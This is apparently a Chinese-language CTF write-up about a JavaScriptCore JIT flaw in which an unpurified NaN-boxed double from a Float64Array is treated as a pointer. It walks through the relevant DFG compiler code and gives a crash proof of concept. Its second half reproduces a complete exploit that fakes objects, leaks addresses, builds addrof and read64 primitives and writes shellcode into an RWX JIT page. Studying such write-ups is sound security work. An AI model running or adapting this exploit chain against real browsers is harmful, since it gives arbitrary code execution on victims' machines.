头疼……背疼……失眠……好好好
Safari, Hold Still for NaN Minutes!
疯狂describe忘记看diff,他tmd注释掉了啊!!!
NaN-boxing
对象编码
- 指针、布尔值等:高16位为0
- 双精度浮点数:高16位2~fffc,通过所有double加1<<49编码
- 32位整数:高16位fffe
BUG
漏洞源于DFG JIT和FTL JIT优化和编译从浮点数组获取元素的方式
snippet1
1 2
| let float_array = new Float64Array(10) ; let value = float_array[0];
|
DFG编译第二行 从浮点数组中取元素 的语句时会调用以下函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix) { switch (elementSize(type)) { case 4: loadFloat(BaseIndex(storageReg, propertyReg, TimesFour), resultReg); convertFloatToDouble(resultReg, resultReg); break; case 8: { loadDouble(BaseIndex(storageReg, propertyReg, TimesEight), resultReg); break; } default: RELEASE_ASSERT_NOT_REACHED(); } if (format == DataFormatJS) { boxDouble(resultReg, resultRegs); jsValueResult(resultRegs, node); } else { ASSERT(format == DataFormatDouble); doubleResult(resultReg, node); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| void boxDouble(FPRReg fpr, JSValueRegs regs) { boxDouble(fpr, regs.tagGPR(), regs.payloadGPR()); }
GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters) { moveDoubleTo64(fpr, gpr); if (mode == DoNotHaveTagRegisters) sub64(TrustedImm64(JSValue::NumberTag), gpr); else { sub64(GPRInfo::numberTagRegister, gpr); jitAssertIsJSDouble(gpr); } return gpr; }
|
假设控制double为形如0xfffe000012345678,编码后为0x0000000012345678会被当做指针解析
boxDouble假定参数为合法double或NaN即0x7ff8000000000000,题目中patch掉的purifyNaN就是检查这个
snippet2
1 2 3 4 5 6
| obj = {x:1, y:1} function forin(arg) { for (let i in obj) { let out = arg[i]; } }
|
- 枚举obj中所有属性名称
- 从arg中取出对应属性名称的值
执行arg[i]时会进入以下过程编译 获取对象的属性值 操作:
1 2 3 4 5 6 7 8
| void SpeculativeJIT::compile(Node* node) case EnumeratorGetByVal: { compileEnumeratorGetByVal(node); break; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| void SpeculativeJIT::compileEnumeratorGetByVal(Node* node) { Edge baseEdge = m_graph.varArgChild(node, 0); auto generate = [&] (JSValueRegs baseRegs) { compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat)>([&] (DataFormat) { return std::tuple { resultRegs, DataFormatJS, CanUseFlush::No }; })); };
|
- 该函数调用一个generate闭包函数,generate中又调用compileGetByVal函数
- compileGetByVal的最后一个参数也是一个闭包,这个闭包最后返回一个元组
- 第一个值是存储取出的值的寄存器
- 第二个值是储存格式,始终是DataFormatJS
compileGetByVal处理各种类型的数组对象
1 2 3 4 5 6 7 8 9 10 11 12
| void SpeculativeJIT::compileGetByVal(Node* node, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix) { switch (node->arrayMode().type()) { case Array::Float64Array: { TypedArrayType type = node->arrayMode().typedArrayType(); if (isInt(type)) compileGetByValOnIntTypedArray(node, type, prefix); else compileGetByValOnFloatTypedArray(node, type, prefix); } } }
|
如果snippet中的arg是double数组,会进行到Float64Array过程,调用snippet1中提到的有问题的函数
snippet3
我们可以通过使用同一内存区域的另一视图改变Float64Array的值为不合法的double
1 2 3 4 5
| let abuf = new ArrayBuffer(0x10); let bigint_buf = new BigUint64Array(abuf); let float_buf = new Float64Array(abuf);
bigint_buf[0] = 0xfffe_0000_0000_0000;
|
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| let abuf = new ArrayBuffer(0x10); let bbuf = new BigUint64Array(abuf); let fbuf = new Float64Array(abuf);
obj = {x:1234, y:1234};
function trigger(arg, a2) { for (let i in obj) { obj = [1]; let out = arg[i]; a2.x = out; } }
function main() {
t = {x: {}}; trigger(obj, t);
for (let i = 0 ; i < 0x10000; i++) { trigger(fbuf,t); }
bbuf[0] = 0xfffe0000_12345678n; trigger(fbuf, t);
t.x; }
main()
|
- trigger重复上述snippet1和snippet2使用for in和取属性的操作
- 重复执行trigger使之被JIT优化编译
- 使bbuf[0]不合法,此时trigger将0xfffe0000_12345678n赋给了a2.x
- 调用t.x,0x12345678被当成指针解析,段错误
Leak
EXP
JSC对象的内存分布:
- JSCell:类似v8的map,表示属性的布局
- butterfly:储存属性,无编码存储
- 内联属性,可存0x10字节的内联属性,编码存储
流程:
官方exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| let fake1 = {c:1.1, d:2.2}; let fake2 = {c:1.1, d:{}};
fake2[0] = 1.1; fake2[1] = 1.1; fake2[2] = 1.1; fake2[3] = 1.1; let abuf = new ArrayBuffer(0x10); let bbuf = new BigUint64Array(abuf); let fbuf = new Float64Array(abuf); let ffbuf = new Float64Array(abuf); bbuf[0] = 0x01001800000099f0n-0x0002000000000000n; fake1.c = ffbuf[0]; bbuf[0] = 0x0100180600009a60n; fake2[0] = ffbuf[0];
obj = {x:1234, y:1234}; function print(a) {} function bftrigger(arg, a2) { for (let i in obj) { obj = [1]; let out = arg[i]; if (out === a2.x) { return true; } else { return false; } } } obj2 = {x:1234, y:1234}; function trigger(arg, a2) { for (let i in obj2) { obj2 = [1]; let out = arg[i]; a2.x = out; } } let t2 = {x: {}}; trigger(obj, t2); bbuf[0] = 0x00000000_00000000n; for(let i = 0; i < 0x800; i++) { trigger(fbuf, t2); } let t = {x: {}}; bftrigger(obj, t); for(let i = 0; i < 0x800; i++) { bftrigger(fbuf, t); } function leak(object_to_leak) { let addr = 0x7f00_0000_0000n; let to_leak = {x: object_to_leak}; for (let i=0n; i<0xff_ffff_ffffn; i+=0x1000000n) { let current_addr = addr + i + 0x4f8140n; if ((i&0xfffffffffn) == 0) { print(current_addr.toString(16)) } bbuf[0] = 0xfffe0000_00000000n+current_addr; let result = bftrigger(fbuf, to_leak); if (result) { print('Found the address at: 0x'+ current_addr.toString(16)); return current_addr; } } return 0; } function exp() { let fake1_addr = leak(fake1); if (fake1_addr==0) { return } fake1_addr = fake1_addr+0x10n; bbuf[0] = 0xfffe0000_00000000n+fake1_addr; trigger(fbuf, t2); let fake_obj = t2.x.d; let fake_bf = fake1_addr+0x8n; bbuf[0] = fake_bf; fake2[1] = ffbuf[0]; ffbuf[0] = fake_obj[2]; let butterfly_addr = bbuf[0]; print("Leak butterfly addr: 0x" + butterfly_addr.toString(16)); function addrof(obj) { fake2.d = obj; ffbuf[0] = fake_obj[4]; return bbuf[0]; } function read64(addr) { bbuf[0] = addr; fake2[1] = ffbuf[0]; ffbuf[0] = fake_obj[0]; let res = bbuf[0]; bbuf[0] = fake_bf; fake2[1] = ffbuf[0]; return res; } let addr = addrof(bftrigger); print(addr.toString(16)); addr = read64(addr+0x18n); print(addr.toString(16)); addr = read64(addr+0x8n); print(addr.toString(16)); let rwx = read64(addr+0x10n); print("Leak RWX addr: 0x" + rwx.toString(16)); let shellcode = [-1.1406995792869598e-244, 7.237521960842062e-308, -1.1399357607410871e-244, 9.780209880692209e+26, -2.6607797970378774e-254, 1.7806249655998242e-22, 3.9690202623744235e+146, 7.34038447708115e+223, 3.3819935e-317, 0]; bbuf[0] = rwx+0xbn; fake2[1] = ffbuf[0]; shellcode.forEach((sc, i) => { fake_obj[i] = sc; }); bftrigger(); } exp(); while(1){}
|